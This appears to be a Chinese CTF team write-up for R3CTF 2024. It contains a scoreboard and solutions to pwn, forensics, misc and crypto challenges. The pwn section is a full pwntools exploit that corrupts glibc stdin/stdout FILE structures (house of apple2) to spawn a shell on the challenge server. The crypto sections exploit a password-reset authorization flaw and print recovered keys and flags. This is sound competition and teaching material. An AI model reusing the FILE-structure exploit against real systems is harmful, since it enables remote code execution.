本次 R3CTF 2024,我们Polaris战队排名第20。
排名 | 队伍 | 总分 |
---|---|---|
11 | Ciallo~(∠・ω< )⌒★ | 4306 |
12 | Mini-Venom | 4060 |
13 | SycLover | 4036 |
14 | n3x | 3816 |
15 | 0xFFF | 3601 |
16 | Nepnep | 3345 |
17 | thefwncrew | 3032 |
18 | Hyperion | 2970 |
19 | Arr3stY0u | 2952 |
20 | Polaris | 2836 |
PWN
Nullullullllu
在直接给 libc_base 的情况下,一次任意地址写 \x00 。
直接修改 IO_2_1_stdin 的 _IO_buf_base 末尾为 \x00 ,那么 _IO_buf_base 就会指向 IO_2_1_stdin 的 _IO_write_base,接下来就是利用 getchar 函数触发写操作修改 IO_buf_base 为 IO_2_1_stdout ,再次利用 getchar 函数触发写操作写 apple2 进 stdout ,printf 函数执行时候会触发 appl2 get shell。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = remote('ctf2024-entry.r3kapig.com', 30371)
#p = remote('127.0.0.1', 9999)
elf_patch = './chall'
#p = process(elf_patch)
elf = ELF(elf_patch)
libc = ELF('./libc.so.6')
sla(b'> ', b'1')
rl(b'0x')
libc_base = int(r(12), 16)# + 0x6d80
environ = libc_base + libc.sym['__environ']
system, binsh = get_sb()
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
stdin_IO_buf_base = stdin + 7*8
stdin_old_value = stdin + 0x83
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stderr = libc_base + libc.sym['_IO_2_1_stderr_']
# step 2 : printf -> stdout -> house of apple2
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x202228
base_addr = stdout
fake_io = b' sh;\x00\x00\x00'
fake_io = fake_io.ljust(0x68, b'\x00')
fake_io += p64(system)
fake_io = fake_io.ljust(0x88, b'\x00')
fake_io += p64(base_addr + 0x5000) # _lock
fake_io += p64(0)*2
fake_io += p64(base_addr)
fake_io = fake_io.ljust(0xd8, b'\x00')
fake_io += p64(_IO_wfile_jumps - 0x20)
fake_io = fake_io.ljust(0xe0, b'\x00')
fake_io += p64(base_addr)
sla(b'> ', b'2')
sla(b'Mem: ', hex(stdin_IO_buf_base))
#debug('b *$rebase(0x12c3)')
sa(b'> ', p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))
sleep(1)
sl(fake_io)
lg('libc_base', libc_base)
inter()
pause()
Forensic
TPA 01
火眼分析一下,发现有嵌套虚拟机
分析一下
去youtube得到mysql的账户密码,直接搜mysql就行了,猜测看数据库
ibd2sql得到原始数据转hex即可
之后aes转一下即可
TPA 02
流量包直接搜password得到第二段flag
第一段flag从安卓手机存储手机短信的地方找
之后找到第一段手机号
Misc
Blizzard CN Restarts
利用shadoweditor
hideAndSeek
Ben is a superpower who loves playing hide and seek. He can teleport to anywhere to no one can find him, but he seems unaware that his ability only works within a certain range
Rules:
The adorable Ben will only appear within the range of (0, -50, 0) to (128, 50, 128).
Ben will every 10 seconds and reappear in a new location after 10 seconds.
A "newtp" has been added for all players to teleport to any coordinates.
Connect info: 34.81.163.238
version 1.19.2
很抽象的mc游戏题 开始确实是用PCL2模拟器进入游戏去玩
看到给了个newtp命令 还查了很多教程去学MC的tp命令是如何使用 但是发现没啥用 在地图里面逛了一会儿
用newtp大概传送了一些坐标 命令格式如下
想传送到的坐标(x, y, z)
newtp x y z
后面直接翻log日志文件 找到flag
读日志可以发现 这个”Ben”的尸体类型应该是村民 并且他的名称就是flag
R3CTF{Jus7_play_m0r3_h1de_2nd_seek_w1th_Ben}
Crypto
r0system
审计代码发现,可以自己注册个账号完成登录
登录之后,在修改密码那里居然可以改所有用户的密码
def R0System(USERNAME):
global login_tag,PublicChannels
option = int(input((b"Hello "+ USERNAME + b",do you need any services? ").decode()))
if option == 1:
username = bytes.fromhex(input(b"Username[HEX]: ".decode()))
new_password = bytes.fromhex(input(b"New Password[HEX]: ".decode()))
tag,msg = USER.reset_password(username,new_password)
print(msg.decode())
那思路就是改Bob的密码,然后得到Bob的私钥,再求Alice和Bob的会话密钥完成解密
exp.py
class Curve:
def __init__(self):
# Nist p-256
self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
def add(self,P, Q):
if (P == (0, 0)):
return Q
elif (Q == (0, 0)):
return P
else:
x1, y1 = P
x2, y2 = Q
if ((x1 == x2) & (y1 == -y2)):
return ((0, 0))
else:
if (P != Q):
l = (y2 - y1) * pow(x2 - x1, -1, self.p)
else:
l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)
x3 = ((l**2) - x1 - x2) % self.p
y3 = (l * (x1 - x3) - y1) % self.p
return x3, y3
def mul(self, n , P):
Q = P
R = (0, 0)
while (n > 0):
if (n % 2 == 1):
R = self.add(R, Q)
Q = self.add(Q, Q)
n = n // 2
return R
from Crypto.Util.number import long_to_bytes,bytes_to_long,isPrime
from hashlib import md5
from Crypto.Cipher import AES
curve = Curve()
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
# E = EllipticCurve(GF(p),[a,b])
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
encflag = "e3b70f0fc960e3cc28f5b02667e5483f6dd6cc267435d33cd222071f949da4a9fc383ad4282a28c81c8b106546b0dc5e61b0908f6d0edb07a2072a9f3b3c0a2aa4b990d1a903b33e5921336f68533b7fce5cd401816016e369e6941336dcf441"
tmpA = "ce760c0651d6f4e7466173d5bebe4803af2b0aea75ebb1948785e50fd1c911f18f887c172dd64d979fc501b13c5e76418e24920671610563bb0233fc1cf1a789"
tmpB = "fc7ac593d124c0f5c10ed04623c5d5e80bc4af3215956cba0dcf27d9a6a7e11b4412f38ef83403e9a844e11fbc349b05795808a38cb90b99dbb165c54aa38ba2"
Ax = bytes.fromhex(tmpA)[:32]
Ay = bytes.fromhex(tmpA)[32:]
Bx = bytes.fromhex(tmpB)[:32]
By = bytes.fromhex(tmpB)[32:]
A = (bytes_to_long(Ax),bytes_to_long(Ay))
B = (bytes_to_long(Bx),bytes_to_long(By))
b = 0x4627ff9ebfc02af8e8b2eb2a276ac028d874de10df417221d49d838bc6a5e733
KEY = md5(str(curve.mul(b,A)).encode()).digest()
aes = AES.new(KEY,AES.MODE_ECB)
flag = aes.decrypt(bytes.fromhex(encflag))
print(flag)
# R3CTF{p3rm1$sions_n33d_Att3nt1%n!_NeXt_l3vE1_l1Nk_1s_https://reurl.cc/Vz7GzZ_a702ba611b24}
r1system
上一题做完之后,拿到这题的附件
审计完代码发现,这题和上题区别在于,这题初始化只有Alice一个账号,而且我们居然能注册Bob的账号
注册之后和Alice交换密钥就好了
exp
from Crypto.Util.number import long_to_bytes,bytes_to_long,isPrime
from hashlib import md5
from Crypto.Cipher import AES
encflag = "b421ed525e970681412ade94b2c9eeb5365d0cec75fed997525ce31fe8878dac9f4ea3992a5e54c27acfd81d456cc8ae27ff666c470637067e05d73cd53d2da1"
key = "4b257eda7fda459a7844014378f08b8e"
aes = AES.new(bytes.fromhex(key),AES.MODE_ECB)
flag = aes.decrypt(bytes.fromhex(encflag))
print(flag)
# R3CTF{pRN9_I1k3_qc9_1S_3Z_To_50IVe_38e5d6dd3eaa}